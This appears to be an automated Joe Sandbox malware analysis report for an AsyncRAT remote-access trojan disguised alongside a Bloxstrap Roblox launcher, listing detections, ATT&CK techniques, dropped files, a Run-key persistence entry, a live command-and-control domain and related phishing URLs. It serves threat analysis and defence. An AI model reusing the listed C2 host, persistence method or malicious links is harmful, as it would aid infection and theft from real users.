Source: Yara match	File source: 0.2.CZxDiTktSY.exe.2d8b268.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.CZxDiTktSY.exe.2d8b268.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000000.1704735361.0000000000042000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1713270331.0000000002D71000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: CZxDiTktSY.exe PID: 6972, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: XClient.exe PID: 6188, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Roaming\FileExplorer.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\XClient.exe, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	12 Process Injection	1 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	1 Registry Run Keys / Startup Folder	1 Disable or Modify Tools	LSASS Memory	231 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Native API	Logon Script (Windows)	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Process Injection	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	13 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Obfuscated Files or Information	Cached Domain Credentials	2 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	2 Software Packing	DCSync	15 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
CZxDiTktSY.exe	63%	ReversingLabs	ByteCode-MSIL.Spyware.AsyncRAT
CZxDiTktSY.exe	100%	Avira	TR/Dropper.Gen
CZxDiTktSY.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Roaming\FileExplorer.exe	100%	Avira	HEUR/AGEN.1305769
C:\Users\user\AppData\Roaming\XClient.exe	100%	Avira	HEUR/AGEN.1305769
C:\Users\user\AppData\Roaming\FileExplorer.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\XClient.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\Bloxstrap-v2.8.1.exe	0%	ReversingLabs
C:\Users\user\AppData\Roaming\FileExplorer.exe	87%	ReversingLabs	ByteCode-MSIL.Spyware.AsyncRAT
C:\Users\user\AppData\Roaming\XClient.exe	87%	ReversingLabs	ByteCode-MSIL.Spyware.AsyncRAT
C:\Users\user\Downloads\Unconfirmed 798106.crdownload	0%	ReversingLabs

Source	Detection	Scanner	Label
https://scripts.sil.org/OFLRubik-LightVersion	0%	Avira URL Cloud	safe
https://clientsettings.roblox.comKDeserialised	0%	Avira URL Cloud	safe
https://s3.amazonaws.com/setup.roblox.com7Bloxstrap.Resources.Strings)About.Licenses.Title9About.Sup	0%	Avira URL Cloud	safe
http://appsyndication.org/2006/appsynapplicationd:	0%	Avira URL Cloud	safe
https://d6tizftlrpuof.cloudfront.net/themes/production/microsoft-net-net-theme-banner-logo-url-7035f9bbfae08939ebda03d9c2cdd905.png	0%	Avira URL Cloud	safe
https://d6tizftlrpuof.cloudfront.net/themes/production/microsoft-net-net-theme-campaign-0b982e5e3bfe6b6f78ac7f3be8f28908.css	0%	Avira URL Cloud	safe
https://status.roblox.com)	0%	Avira URL Cloud	safe
https://d6tizftlrpuof.cloudfront.net/vendor/1.6.5/angular.min.js	0%	Avira URL Cloud	safe
https://d6tizftlrpuof.cloudfront.net/themes/production/microsoft-net-net-theme-campaign-0b982e5e3bfe	0%	Avira URL Cloud	safe
https://d6tizftlrpuof.cloudfront.net/live/i/5b05b10e10f3d3749a56ff54/c12bb78e35a84ab0c6f6932296f17644e93b092f.html?tags=right	0%	Avira URL Cloud	safe
https://setup.rbxcdn.com9https://setup-aws.rbxcdn.com	0%	Avira URL Cloud	safe
https://bloxstraplabs.com)	0%	Avira URL Cloud	safe
tell-outcome.gl.at.ply.gg	100%	Avira URL Cloud	malware
https://d6tizftlrpuof.cloudfront.net/live/campaign/js/24a5b93b0f.poll.js	0%	Avira URL Cloud	safe
https://d6tizftlrpuof.cloudfront.net/themes/production/microsoft-net-button-bd8edd6aee4a2cdd05bc7f6ed668f1d6.png	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
fg.microsoft.map.fastly.net	199.232.210.172	true	false	high
adobetarget.data.adobedc.net	66.235.152.156	true	false	high
d6tizftlrpuof.cloudfront.net	108.158.71.127	true	false	high
tell-outcome.gl.at.ply.gg	147.185.221.24	true	true	unknown
www.google.com	142.250.181.100	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
aka.ms	2.23.205.167	true	false	high
w.usabilla.com	52.208.202.206	true	false	high
js.monitor.azure.com	unknown	unknown	false	high
microsoftmscompoc.tt.omtrdc.net	unknown	unknown	false	high
westus2-0.in.applicationinsights.azure.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://js.monitor.azure.com/scripts/c/ms.analytics-web-4.min.js	false		high
https://d6tizftlrpuof.cloudfront.net/themes/production/microsoft-net-net-theme-campaign-0b982e5e3bfe6b6f78ac7f3be8f28908.css	false	Avira URL Cloud: safe	unknown
https://d6tizftlrpuof.cloudfront.net/vendor/1.6.5/angular.min.js	false	Avira URL Cloud: safe	unknown
https://d6tizftlrpuof.cloudfront.net/themes/production/microsoft-net-net-theme-banner-logo-url-7035f9bbfae08939ebda03d9c2cdd905.png	false	Avira URL Cloud: safe	unknown
https://d6tizftlrpuof.cloudfront.net/live/i/5b05b10e10f3d3749a56ff54/c12bb78e35a84ab0c6f6932296f17644e93b092f.html?tags=right	false	Avira URL Cloud: safe	unknown
https://w.usabilla.com/71e348d38aa1.js?lv=1	false		high
tell-outcome.gl.at.ply.gg	true	Avira URL Cloud: malware	unknown
https://d6tizftlrpuof.cloudfront.net/live/campaign/js/24a5b93b0f.poll.js	false	Avira URL Cloud: safe	unknown
https://js.monitor.azure.com/scripts/b/ai.2.min.js	false		high
https://aka.ms/dotnet-core-applaunch?missing_runtime=true&arch=x64&rid=win10-x64&apphost_version=6.0.35&gui=true	false		high
https://d6tizftlrpuof.cloudfront.net/themes/production/microsoft-net-button-bd8edd6aee4a2cdd05bc7f6ed668f1d6.png	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://github.com/Luximoz)	Bloxstrap-v2.8.1.exe.0.dr	false		high
https://github.com/sha4owz)	Bloxstrap-v2.8.1.exe.0.dr	false		high
https://github.com/ShadowCodeX-debug)	Bloxstrap-v2.8.1.exe.0.dr	false		high
https://crowdin.com/project/bloxstrap	Bloxstrap-v2.8.1.exe.0.dr	false		high
https://github.com/Redusofficial)	Bloxstrap-v2.8.1.exe.0.dr	false		high
https://scripts.sil.org/OFLRubik-LightVersion	Bloxstrap-v2.8.1.exe.0.dr	false	Avira URL Cloud: safe	unknown
https://create.roblox.com/docs/environment/post-processing-effects	Bloxstrap-v2.8.1.exe.0.dr	false		high
https://github.com/axellse)	Bloxstrap-v2.8.1.exe.0.dr	false		high
https://github.com/xoofx/markdig/blob/master/license.txt	Bloxstrap-v2.8.1.exe.0.dr	false		high
https://aka.ms/dotnet/app-launch-failed	Bloxstrap-v2.8.1.exe, Bloxstrap-v2.8.1.exe, 00000001.00000000.1702708588.00007FF72E6BA000.00000002.00000001.01000000.00000006.sdmp, Bloxstrap-v2.8.1.exe, 00000001.00000002.1745637888.00007FF72E6BA000.00000002.00000001.01000000.00000006.sdmp, Bloxstrap-v2.8.1.exe, 00000001.00000002.1745038903.000001CDA4BDF000.00000004.00000020.00020000.00000000.sdmp, Bloxstrap-v2.8.1.exe.0.dr	false		high
https://github.com/lepoco/wpfui/blob/main/LICENSE	Bloxstrap-v2.8.1.exe.0.dr	false		high
https://github.com/securifybv/ShellLink/blob/master/LICENSE.txt	Bloxstrap-v2.8.1.exe.0.dr	false		high
https://assetdelivery.roblox.com/v1/asset/?id=EDiscordRichPresence::SetVisibility;Setting	Bloxstrap-v2.8.1.exe.0.dr	false		high
https://github.com/lolmanurfunny)	Bloxstrap-v2.8.1.exe.0.dr	false		high
https://users.roblox.com/v1/users/cRoblox	Bloxstrap-v2.8.1.exe.0.dr	false		high
https://github.com/NikSavchenk0)	Bloxstrap-v2.8.1.exe.0.dr	false		high
http://www.roblox.com/asset/?id=133573871-	Bloxstrap-v2.8.1.exe.0.dr	false		high
https://github.com/bloxstraplabs/bloxstrap/wiki/What-is-activity-tracking%3F#discord-rich-presence	Bloxstrap-v2.8.1.exe.0.dr	false		high
https://clientsettings.roblox.comKDeserialised	Bloxstrap-v2.8.1.exe.0.dr	false	Avira URL Cloud: safe	unknown
https://github.com/bloxstraplabs/bloxstrap/wiki/What-is-activity-tracking%3F	Bloxstrap-v2.8.1.exe.0.dr	false		high
https://thumbnails.roblox.com/v1/users/avatar-headshot?userIds=	Bloxstrap-v2.8.1.exe.0.dr	false		high
https://w.usabilla.com/a/t?m=b&b=	chromecache_102.5.dr, chromecache_107.5.dr	false		high
https://bloxstraplabs.com/metrics/post-exception	Bloxstrap-v2.8.1.exe.0.dr	false		high
https://thumbnails.roblox.com/v1/games/icons?universeIds=	Bloxstrap-v2.8.1.exe.0.dr	false		high
https://github.com/bloxstraplabs/bloxstrap)	Bloxstrap-v2.8.1.exe.0.dr	false		high
https://github.com/hugo9655)	Bloxstrap-v2.8.1.exe.0.dr	false		high
https://clientsettingscdn.roblox.com	Bloxstrap-v2.8.1.exe.0.dr	false		high
https://www.roblox.com/users/2485612194/profile)	Bloxstrap-v2.8.1.exe.0.dr	false		high
https://github.com/bloxstraplabs/bloxstrap/wiki/Bloxstrap-is-unable-to-download-Roblox	Bloxstrap-v2.8.1.exe.0.dr	false		high
https://bloxstraplabs.com	Bloxstrap-v2.8.1.exe.0.dr	false		high
https://github.com/bloxstraplabs/bloxstrap/wiki/Switching-between-Roblox-and-Bloxstrap	Bloxstrap-v2.8.1.exe.0.dr	false		high
https://github.com/AskaLangly)	Bloxstrap-v2.8.1.exe.0.dr	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	XClient.exe, 00000002.00000002.4407903972.0000000002151000.00000004.00000800.00020000.00000000.sdmp	false		high
https://s3.amazonaws.com/setup.roblox.com7Bloxstrap.Resources.Strings)About.Licenses.Title9About.Sup	Bloxstrap-v2.8.1.exe.0.dr	false	Avira URL Cloud: safe	unknown
https://github.com/bloxstraplabs/bloxstrap/wiki	Bloxstrap-v2.8.1.exe.0.dr	false		high
https://www.roblox.com/games/GDiscordRichPresence::UpdatePresence7Presence	Bloxstrap-v2.8.1.exe.0.dr	false		high
http://appsyndication.org/2006/appsynapplicationd:	Unconfirmed 798106.crdownload.3.dr	false	Avira URL Cloud: safe	unknown
https://github.com/bloxstraplabs/bloxstrap/wiki/	Bloxstrap-v2.8.1.exe.0.dr	false		high
https://raw.githubusercontent.com/bloxstraplabs/config/main/supporters.jsonCAboutViewModel::LoadSupp	Bloxstrap-v2.8.1.exe.0.dr	false		high
https://status.roblox.com)	Bloxstrap-v2.8.1.exe.0.dr	false	Avira URL Cloud: safe	unknown
https://aka.ms/dotnet/app-launch-failed&gui=trueShowing	Bloxstrap-v2.8.1.exe, 00000001.00000000.1702708588.00007FF72E6BA000.00000002.00000001.01000000.00000006.sdmp, Bloxstrap-v2.8.1.exe, 00000001.00000002.1745637888.00007FF72E6BA000.00000002.00000001.01000000.00000006.sdmp, Bloxstrap-v2.8.1.exe.0.dr	false		high
https://d6tizftlrpuof.cloudfront.net/themes/production/microsoft-net-net-theme-campaign-0b982e5e3bfe	chromecache_136.5.dr	false	Avira URL Cloud: safe	unknown
http://www.roblox.com/asset/?id=114046169-	Bloxstrap-v2.8.1.exe.0.dr	false		high
https://github.com/GoingCrazyDude)	Bloxstrap-v2.8.1.exe.0.dr	false		high
https://github.com/EpixScripts)	Bloxstrap-v2.8.1.exe.0.dr	false		high
https://setup.rbxcdn.com9https://setup-aws.rbxcdn.com	Bloxstrap-v2.8.1.exe.0.dr	false	Avira URL Cloud: safe	unknown
https://github.com/bloxstraplabs/bloxstrap/wiki/A-guide-to-FastFlags#gui-hiding	Bloxstrap-v2.8.1.exe.0.dr	false		high
https://github.com/ms-gitblox)	Bloxstrap-v2.8.1.exe.0.dr	false		high
https://github.com/CubesterYT)	Bloxstrap-v2.8.1.exe.0.dr	false		high
https://github.com/0xFE0F)	Bloxstrap-v2.8.1.exe.0.dr	false		high
https://ipinfo.io/	Bloxstrap-v2.8.1.exe.0.dr	false		high
https://www.clarity.ms/tag/51xi6lo2qb	chromecache_135.5.dr, chromecache_94.5.dr	false		high
https://github.com/axstin)	Bloxstrap-v2.8.1.exe.0.dr	false		high
https://github.com/Lachee/discord-rpc-csharp/blob/master/LICENSE	Bloxstrap-v2.8.1.exe.0.dr	false		high
https://www.roblox.com/users/923416649/profile)	Bloxstrap-v2.8.1.exe.0.dr	false		high
https://www.roblox.com/users/129425241/profile)	Bloxstrap-v2.8.1.exe.0.dr	false		high
https://api.usabilla.com/v2/f/	chromecache_102.5.dr, chromecache_107.5.dr	false		high
https://github.com/MaximumADHD/Roblox-Studio-Mod-Manager/blob/main/LICENSE	Bloxstrap-v2.8.1.exe.0.dr	false		high
https://github.com/fxeP1)	Bloxstrap-v2.8.1.exe.0.dr	false		high
https://scripts.sil.org/OFLThis	Bloxstrap-v2.8.1.exe.0.dr	false		high
https://aka.ms/dotnet-core-applaunch?You	Bloxstrap-v2.8.1.exe, 00000001.00000000.1702708588.00007FF72E6BA000.00000002.00000001.01000000.00000006.sdmp, Bloxstrap-v2.8.1.exe, 00000001.00000002.1745637888.00007FF72E6BA000.00000002.00000001.01000000.00000006.sdmp, Bloxstrap-v2.8.1.exe.0.dr	false		high
https://bloxstraplabs.com)	Bloxstrap-v2.8.1.exe.0.dr	false	Avira URL Cloud: safe	unknown
https://d6tizftlrpuof.cloudfront.net/live/resources/throbber.gif)	chromecache_102.5.dr, chromecache_107.5.dr	false		high
https://github.com/Mantaraix)	Bloxstrap-v2.8.1.exe.0.dr	false		high
https://github.com/bloxstraplabs/bloxstrap/blob/main/LICENSE	Bloxstrap-v2.8.1.exe.0.dr	false		high
https://github.com/DaMlgNoodle)	Bloxstrap-v2.8.1.exe.0.dr	false		high
https://github.com/MehKako)	Bloxstrap-v2.8.1.exe.0.dr	false		high
https://github.com/bloxstraplabs/bloxstrap/releases/latest	Bloxstrap-v2.8.1.exe.0.dr	false		high
https://github.com/bloxstraplabs/bloxstrap/wiki/A-guide-to-FastFlags#preferred-lighting-technology	Bloxstrap-v2.8.1.exe.0.dr	false		high
https://github.com/bloxstraplabs/bloxstrap/wiki/Release-notes-for-Bloxstrap-v	Bloxstrap-v2.8.1.exe.0.dr	false		high
https://github.com/knivesofeylis)	Bloxstrap-v2.8.1.exe.0.dr	false		high
http://www.roblox.com/F	Bloxstrap-v2.8.1.exe.0.dr	false		high
https://www.roblox.com/users/158082266/profile)	Bloxstrap-v2.8.1.exe.0.dr	false		high
https://github.com/bloxstraplabs/bloxstrap/issues/new	Bloxstrap-v2.8.1.exe.0.dr	false		high
https://github.com/bloxstraplabs/bloxstrap/wiki/Privacy-Policy#analytical-functionality	Bloxstrap-v2.8.1.exe.0.dr	false		high
https://aka.ms/dotnet-core-applaunch?	Bloxstrap-v2.8.1.exe, Bloxstrap-v2.8.1.exe, 00000001.00000000.1702708588.00007FF72E6BA000.00000002.00000001.01000000.00000006.sdmp, Bloxstrap-v2.8.1.exe, 00000001.00000002.1745637888.00007FF72E6BA000.00000002.00000001.01000000.00000006.sdmp, Bloxstrap-v2.8.1.exe.0.dr	false		high
https://github.com/apprehensions)	Bloxstrap-v2.8.1.exe.0.dr	false		high
https://github.com/sitiom)	Bloxstrap-v2.8.1.exe.0.dr	false		high
https://github.com/EasternBloxxer)	Bloxstrap-v2.8.1.exe.0.dr	false		high
https://github.com/carter0nline)	Bloxstrap-v2.8.1.exe.0.dr	false		high
https://github.com/cub-has-injected)	Bloxstrap-v2.8.1.exe.0.dr	false		high
http://www.roblox.com/asset/?id=1699715537.	Bloxstrap-v2.8.1.exe.0.dr	false		high
https://github.com/bloxstraplabs/bloxstrap/wiki/A-guide-to-FastFlags	Bloxstrap-v2.8.1.exe.0.dr	false		high
http://angularjs.org	chromecache_140.5.dr, chromecache_131.5.dr	false		high
https://aka.ms/dotnet/app-launch-faileda.ms/dotnet/app-launch-failed	Bloxstrap-v2.8.1.exe, 00000001.00000002.1745038903.000001CDA4BDF000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.github.com/repos/bloxstraplabs/bloxstrap/releases/latest	Bloxstrap-v2.8.1.exe.0.dr	false		high
https://github.com/he3als)	Bloxstrap-v2.8.1.exe.0.dr	false		high
https://raw.githubusercontent.com/bloxstraplabs/config/main/assets/;ActivityWatcher::ReadLogEntry	Bloxstrap-v2.8.1.exe.0.dr	false		high
https://github.com/bloxstraplabs/bloxstrap/wiki/Bloxstrap-is-unable-to-download-Roblox)	Bloxstrap-v2.8.1.exe.0.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
13.107.246.63	s-part-0035.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
108.158.71.127	d6tizftlrpuof.cloudfront.net	United States	16509	AMAZON-02US	false
54.171.242.81	unknown	United States	16509	AMAZON-02US	false
142.250.181.100	www.google.com	United States	15169	GOOGLEUS	false
108.158.71.51	unknown	United States	16509	AMAZON-02US	false
2.23.205.167	aka.ms	European Union	1273	CWVodafoneGroupPLCEU	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
147.185.221.24	tell-outcome.gl.at.ply.gg	United States	12087	SALSGIVERUS	true
108.158.71.166	unknown	United States	16509	AMAZON-02US	false
52.208.202.206	w.usabilla.com	United States	16509	AMAZON-02US	false

Private

IP
192.168.2.4
192.168.2.5
192.168.68.139

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1561595
Start date and time:	2024-11-23 21:10:11 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 44s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	CZxDiTktSY.exe renamed because original name is a hash value
Original Sample Name:	fc16219abe3f5272052e7238be66431e1d1b3e7d2faf996c701ce576cce74290.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@26/97@25/13
EGA Information:	Successful, ratio: 20%
HCA Information:	Successful, ratio: 98% Number of executed functions: 74 Number of non-executed functions: 42
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 172.217.19.227, 64.233.165.84, 172.217.17.46, 34.104.35.123, 199.232.210.172, 192.229.221.95, 2.20.41.218, 2.20.68.235, 2.20.68.199, 172.217.17.67, 20.9.155.148, 172.217.19.206
Excluded domains from analysis (whitelisted): download.visualstudio.microsoft.com, slscr.update.microsoft.com, e13678.dscb.akamaiedge.net, clientservices.googleapis.com, a1449.dscg2.akamai.net, www.microsoft.com-c-3.edgekey.net.globalredir.akadns.net, gig-ai-prod-westus2-0.trafficmanager.net, www.microsoft.com-c-3.edgekey.net, clients2.google.com, ocsp.digicert.com, star-azurefd-prod.trafficmanager.net, update.googleapis.com, gig-ai-prod-wus2-01-app-v4-tag.westus2.cloudapp.azure.com, img-prod-cms-rt-microsoft-com.akamaized.net, clients1.google.com, fs.microsoft.com, accounts.google.com, target.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, edgedl.me.gvt1.com, dotnet.microsoft.com, visualstudio-geo.trafficmanager.net, clients.l.google.com, www.microsoft.com, wcpstatic.microsoft.com
Execution Graph export aborted for target CZxDiTktSY.exe, PID 6972 because it is empty
Execution Graph export aborted for target FileExplorer.exe, PID 7884 because it is empty
Execution Graph export aborted for target FileExplorer.exe, PID 8188 because it is empty
Execution Graph export aborted for target XClient.exe, PID 6188 because it is empty
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: CZxDiTktSY.exe

Simulations

Behavior and APIs

Time	Type	Description
15:11:16	API Interceptor	14601602x Sleep call for process: XClient.exe modified
20:11:12	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run FileExplorer C:\Users\user\AppData\Roaming\FileExplorer.exe
20:11:21	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run FileExplorer C:\Users\user\AppData\Roaming\FileExplorer.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
13.107.246.63	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	http://elizgallery.com/js.php	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
239.255.255.250	https://www.google.co.kr/url?url=https://hrtyuytitwagtxswxzqxpcm&jtdm=hjstxxb&qhwocq=elw&vrszx=mrursi&rtz=qksmlok&sdyxm=kxlpun&hnkj=iujyvng&vochgqf=ylsd&pkhfd=vyifcj&nymdhak=ffn&ylzv=xpddvxaj&zoadnebgoj=rccejsmuqd&q=amp/hmf1bnz.s%C2%ADlf%C2%ADpg%C2%ADq%C2%ADq%C2%ADwzu%C2%ADx%C2%ADppns%C2%ADc%C2%ADs%C2%AD.com%E2%80%8B/n7brnx1iy&lbgq=ihcrvpx&isffrcc=xjcvvbbd&hokv=buitobfj&nfzezydbgm=lhtjhglyxx&pjwu=tdsgcse&cesnzrb=ekoykarj&ifpv=yabmwecd&acyeqkflup=bacwibnnwl&dovx=vqvcdxk&rwbvdtj=khlezois&efgx=ktfpexjt&iqggbgjmwh=cvqmvfdelx&gqsh=ghsdgye&hipceti=hpqeesqk&hkvbucxuvo=drwoirzwsq&dril=qbpemxo&xziwtam=tdvywqlj&nndiwyldry=kjqbehmdbj&kqef=faiqetj&peigggc=vbyfdxky&fstmbbtmkx=rjxugltfmc&rpws=borxqez&rijvxqj=ntedqhtd&wohxxxgtmq=jpiozpkrbp&cxah=gcmtksp&tzidqah=syxnwioo&szzishkfke=xmnmodwwoc&xmif=xdxtrqz&ajzcojq=fmtqkshw&gkmh=vmwdknp&xvlhpuf=zkhqqziq&rvfh=igbqint&gdnzlky=hyzlhjke&dqkq=ophpttl&yoamsuz=cuykisoc&frzr=lajcnwi&chdmjpw=hymhkhbw&wnxy=zwkomqb&duxkrfq=asjrwcgu&fzya=hrpcnke&hxrusxm=foudbois&yqgm=uhfvxoo&uynyplq=iryzkatx&qfzs=stmleud&vkbxzkf=hxgbjzit&dnro=vjxntck&kfrldgj=vpyfihbn&nsko=sdzidzb&unudtuz=mnvrwokv&lisf=zxdfari&tdyzrah=otrtzuun&rfza=trokalr&vkfduyc=wpwvnxpe&jjsq=pgkbofh&uatnbjp=gtwiypfq&zilu=kagobvs&jqfufkw=bckrzetp&tjng=jgmmmod&fvdtpsk=vlyzfjep&mgoi=fklhysh&llyljdv=jxpogtdn&gcjv=vjlzkuf&erlhvti=peuprtov&kbxk=jviffkg&lklbxhl=uhzpnzfw&upaw=gfmiehp&ismxijp=hmwbsmgj&zdkc=kodikna&njllvzf=oodglyrw&urdk=cktezyn&vmqhwgh=kqcbhffu&riqy=tlnbqzr&nmlgrkn=inyeynzg&vebu=pwpghzr&ckpmyoc=tmeufjen&otic=svrqsdo&tbwzub	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	http://elizgallery.com/js.php	Get hash	malicious	Unknown	Browse
	https://elizgallery.com/nazvanie.js	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	https://myqrcode.mobi/qr/3c3aa5e1/view	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
adobetarget.data.adobedc.net	https://acrobat.adobe.com/id/urn:aaid:sc:ap:d4296c11-5949-4c29-8c1d-f6d178ced965	Get hash	malicious	Unknown	Browse	66.235.152.221
	https://www.google.co.ao/url?Obdy=ObM8wNGVUva21gnTm3qS&cgsr=7knoOQwChvIkzgfn0TSm&sa=t&wofc=nQYL5DF797O1da77PTBQ&url=amp%2Fprimer-distrito-amvt.org%2F.r%2FiO8EME-SUREDANNaW50ZXJtb2RhbC5qYXhAc2VhYm9hcmRtYXJpbmUuY29t	Get hash	malicious	Unknown	Browse	66.235.152.221
	phish_alert_iocp_v1.4.48 (68).eml	Get hash	malicious	Unknown	Browse	66.235.152.156
	http://samobile.net/content/offsite_article.html?url=https%3A%2F%2Fsepedatua.com%2F158983%2Fsecure-redirect%23cnichols%2Bderickdermatology.com&headline=New+Jerusalem%2C+The+by+Chesterton%2C+G.+K	Get hash	malicious	Captcha Phish	Browse	66.235.152.156
	https://pthn.airrcofvbc.com/YReXjN/#<EMAIL&gt	Get hash	malicious	Unknown	Browse	66.235.152.225
	Pmendon.ext_Reord_Adjustment.docx	Get hash	malicious	Captcha Phish	Browse	66.235.152.156
	https://www.bing.com/ck/a?!&&p=5ceef533778c3decJmltdHM9MTcyMzQyMDgwMCZpZ3VpZD0zNjRmNjVlOC1lNTZjLTYxOWQtMTI1Ny03MTNlZTQyYTYwMTImaW5zaWQ9NTE0MA&ptn=3&ver=2&hsh=3&fclid=364f65e8-e56c-619d-1257-713ee42a6012&u=a1aHR0cHM6Ly9sZXhpbnZhcmlhbnQuY29tLw#aHR0cHM6Ly9wVGhOLmFpcnJjb2Z2YmMuY29tL1lSZVhqTi8=/#<EMAIL>	Get hash	malicious	Unknown	Browse	66.235.152.221
	EXT__Transaction Details for Martibs -462fd4a1151861ecbc00b016e69e7825.eml	Get hash	malicious	Unknown	Browse	66.235.152.225
